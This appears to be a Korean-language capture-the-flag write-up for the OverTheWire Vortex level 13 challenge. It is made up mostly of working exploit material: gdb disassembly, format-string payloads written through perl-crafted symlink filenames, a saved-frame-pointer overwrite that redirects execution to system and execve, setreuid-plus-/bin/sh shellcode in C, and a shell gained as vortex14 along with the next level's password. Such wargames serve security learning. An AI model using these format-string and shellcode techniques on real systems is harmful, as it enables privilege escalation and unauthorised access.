0x08048549 <+37>: mov %edx,0x8(%esp)
0x0804854d <+41>: mov %eax,0x4(%esp)
0x08048551 <+45>: mov -0x14(%ebp),%eax
0x08048554 <+48>: mov %eax,(%esp)
0x08048557 <+51>: call 0x8048410 <fgets@plt>
0x0804855c <+56>: test %eax,%eax
0x0804855e <+58>: jne 0x804856c <vuln+72>
0x08048560 <+60>: movl $0x1,(%esp)
0x08048567 <+67>: call 0x8048460 <exit@plt>
0x0804856c <+72>: movl $0x0,-0xc(%ebp)
0x08048573 <+79>: jmp 0x80485a6 <vuln+130>
0x08048575 <+81>: mov -0xc(%ebp),%eax
0x08048578 <+84>: add -0x14(%ebp),%eax
0x0804857b <+87>: movzbl (%eax),%eax
0x0804857e <+90>: movsbl %al,%edx
0x08048581 <+93>: mov 0x804a028,%eax
0x08048586 <+98>: mov %edx,0x4(%esp)
0x0804858a <+102>: mov %eax,(%esp)
0x0804858d <+105>: call 0x8048400 <strchr@plt>
0x08048592 <+110>: test %eax,%eax
0x08048594 <+112>: jne 0x80485a2 <vuln+126>
0x08048596 <+114>: movl $0x1,(%esp)
0x0804859d <+121>: call 0x8048460 <exit@plt>
0x080485a2 <+126>: addl $0x1,-0xc(%ebp)
0x080485a6 <+130>: cmpl $0x13,-0xc(%ebp)
0x080485aa <+134>: jle 0x8048575 <vuln+81>
0x080485ac <+136>: mov -0x14(%ebp),%eax
0x080485af <+139>: mov %eax,(%esp)
0x080485b2 <+142>: call 0x8048440 <printf@plt>
0x080485b7 <+147>: mov -0x14(%ebp),%eax
0x080485ba <+150>: mov %eax,(%esp)
0x080485bd <+153>: call 0x8048430 <free@plt>
0x080485c2 <+158>: leave
0x080485c3 <+159>: ret
End of assembler dump.
stack address : 0xffffde3c
free plt : 0x804a010
ln -s /vortex/vortex13 `perl -e '{print "\x3c\xde\xff\xff\x41\x41\x41"}'`
ln -s /vortex/vortex13 `perl -e '{print "\x10\xa0\x04\x08\x41\x41\x41"}'`
%34090d%120$hn ==> 루프 성공.
vortex13@melissa:/tmp/hclee13$ ./loader
%120$x
ffffde3c
%34471d%120$hn
34097
%34085d%120$hn
%34090d%120$hn
%34084d%124$hn
0x0804a01c
ln -s /vortex/vortex13 `perl -e '{print "\x10\xa0\x04\x08\x1c\xa0\x04\x08\x1e\xa0\x04\x08\x10\xa0\x04\x08\x41\x41\x41"}'`
ln -s /vortex/vortex13 `perl -e '{print "\x10\xa0\x04\x08\x3c\xde\xff\xff\x3e\xde\xff\xff\x10\xa0\x04\x08\x41\x41\x41"}'`
ln -s /vortex/vortex13 `perl -e '{print "\xc9\xc3\x55\x89\xe5\x83\xe4\xf0\x83\xec\x20\x83\x7d\x08"}'`
118, 119, 120
0xf7f125d0 <execl>
0xf7f12770 <execlp>
%34090d%120$hn
%9680d%119$hn
%63473d%121$hn
%33846d%120$hn
(perl -e '{print "\%34090d\%118\$hn\n"}';perl -e '{print "\%9680d\%120\$hn\n"}'; perl -e '{print "\%63473d\%122\$hn\n"}';cat) | strace -x ./loader
(perl -e '{print "\%34090d\%118\$hn\n"}';perl -e '{print "\%62048d\%120\$hn\n"}'; perl -e '{print "\%63466d\%122\$hn\n"}';cat) | strace -x ./loader
%34090d%118$hn
%9680d%120$hn
%63473d%122$hn
%34090d%123$hn
0804a010 R_386_JUMP_SLOT free
0804a014 R_386_JUMP_SLOT printf
0804a018 R_386_JUMP_SLOT malloc
0804a01c R_386_JUMP_SLOT exit
aaa %34201d%121$hn
%34205d%121$hn
\311\303U\211\345\203\344\360\203\354 \203}\10
c9c35589e583ee4f083ec20837d08
ln -s /vortex/vortex13 `perl -e '{print "\xc9\xc3\x55\x89\xe5\x83\xe4\xf0\x83\xec\x20\x83\x7d\x08"}'`
%118$x
%119$x
%120$x 첫번째 1c
%121$x
%122$x
%115$x
%116$x
%117$x
%122$x
%122$x
%9680d%123$hn%53793d%124$hn -> 헉..짤린다ㅡㅡ;
%9680d%123$hn%53793d%124$hn -> 헉..짤린다ㅡㅡ;
27byte..-_-;
젠장..문제가 왜 이래-_-;;
%4159776208d%123$n
(gdb) print execl
$1 = {<text variable, no debug info>} 0xf7f125d0 <execl>
(gdb) print execve
시나리오2. [2013.07.11]
오랫만에 다시 도전!.. 새로운 방법이 떠올랐다.ㅎ
main과 vuln 함수 모두 leave, ret를 사용하고 있다.
vuln이 끝나면, main으로 돌아가 바로 leave, ret를 수행한다.
만약, saved frame pointer를 수정할 수 있다면, main의 leave, ret에 의해서 esp의 값을 변경할 수 있고,
main의 ret는 우리가 수정한 fake_stack에서 수행할 것이다.
위에서 시도했던 파일명으로 데이터를 넘기는 방법과, fake ebp 방법을 혼합해서 시도해보자.
vuln의 sfp가 저장되는 stack의 주소값을 찾아보자.
사이트의 특성상 디버깅이 원할하지 않다.ㅡ.ㅡ 짱놘다;
여튼..메모리를 대충 보니,
0xffffde38: 0x00000014 0x0804b008 0xf7fcf3e4 0x00008000
0xffffde48: 0xffffde78 0x080486c8 0xffffffff 0xf7e5f116
0xffffde58: 0xf7fceff4 0xf7e5f1a5 0xf7feb660 0x00000000
0x080486c8 이 주소가 main으로 리턴되는 주소이니,
0xffffde78 값이 SFP인 것 같다. 이 주소는 0xffffde48 이다.
그럼, 이 주소값에서 de78을 파일명이 시작되는 주소 근처로(shellcode가 존재하는) 위치로 바꿔보자.
x/500s $esp로 확인한 결과, 실행파일명은
0xffffdfed: "./vortex13"
이 주소에 저장이 된다.
파일명이 뒤에서 부터 저장되는 것 같다.
FSB로 0xffffde48에 저장되어있는 값을 0xffffdfed + 4(FSB에서 사용될 값) - 4(leave로 줄어드는 값) 으로 바꾸고,
그 뒤에 system 함수의 주소를 넣어보자.
system의 주소는 0xf7e6b250 이다.
생성해야할 파일 명은,
[SFP address][0xdeadbeef][system]
byte align이 안맞에서 앞에서 padding을 해봤는데 안먹는닫.
ln -s /vortex/vortex13 `perl -e '{print "\x48\xde\xff\xffAAAA\x50\xb2\xe6\xf7AAA"}'`
./loader `perl -e '{print "\x48\xde\xff\xffAAAA\x50\xb2\xe6\xf7"}'`
OK.
$114$x를 하는 경우 첫번째 주소값이 찍혔다.
여기서 다시. gdb로 돌아가서 파일명의 길이가 바뀌었으니, stack의 구조도 바꼈을 것 같다. 확인해보자
파일명이 시작되는 주소값이 0xffffdfe8 이다.
그럼, dfe8+8 = dff0으로 sfp를 바꿔보자. -> 아니다. 그냥 dfe8로 바꾸면 된다.
%57320d%114$hn
%57328d%114$x
ln -s /vortex/vortex13 `perl -e '{print "\x48\xde\xff\xff\x50\xb2\xe6\xf7\x50\xb2\xe6\xf7AAA"}'`
./loader `perl -e '{print "\x48\xde\xff\xff\x50\xb2\xe6\xf7\x50\xb2\xe6\xf7AAA"}'`
system 함수까지는 갔다. 단, system의 아규먼트 주소가 invalid하니 이제 수정해보자.
ln -s /vortex/vortex13 `perl -e '{print "\x48\xde\xff\xff\x50\xb2\xe6\xf7\x50\xb2\xe6\xf7\xf4\xdf\xff\xffmsh"}'`
./loader `perl -e '{print "\x48\xde\xff\xff\x50\xb2\xe6\xf7\x50\xb2\xe6\xf7\xf4\xdf\xff\xffmsh"}'`
4byte가 늘었으므로, dfe0이 될것같다.
%57316d%113$hn
system 함수를 사용하니, PATH의 경로가 맞지 않아 사용할 수 없다. export로 현재 경로를 설정해도 system에서 새로운 sh에서 실행시키므로 안된다.
그래서 execve 함수로 바꾸었다.
그리고, setreu...를 실행시켜주는 프로그램을 만들어서 bash를 실행시켰다.
파일명이 길어지니, align이 바뀌었는지 싹 바뀌었다.
ln -s /vortex/vortex13 "`perl -e '{print "\x38\xde\xff\xff\x20\x45\xee\xf7\x20\x45\xee\xf7\xf4\xdf\xff\xff\xf8\xdf\xff\xff\xf8\xdf\xff\xffmsh"}'`"
./loader "`perl -e '{print "\x38\xde\xff\xff\x20\x45\xee\xf7\x20\x45\xee\xf7\xf4\xdf\xff\xff\xf8\xdf\xff\xff\xf8\xdf\xff\xffmsh"}'`"
파일명 시작 주소 : 0xffffdfe0
%57308d%115$hn
0xf7fd9000
0x804a040
$ whoami
vortex14
$ cat /etc/vortex_pass/vortex14
DL73}uzdh
$
msh code
//////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
void *ptr = mmap(0, sizeof(shellcode),
PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
printf("%p\n", ptr);
printf("%p\n", shellcode);
void (*pointer)(void);
pointer = (void *)ptr;
pointer();
return 0;
}
//////////////////////////////////////////////////////////////////////////////
GOOD!!!!!!!!..이제 머리속에서 조금씩 정리를 하고 있는 듯하다..ㅎ
[+] Level 14
- id : vortex14
- Password: DL73}uzdh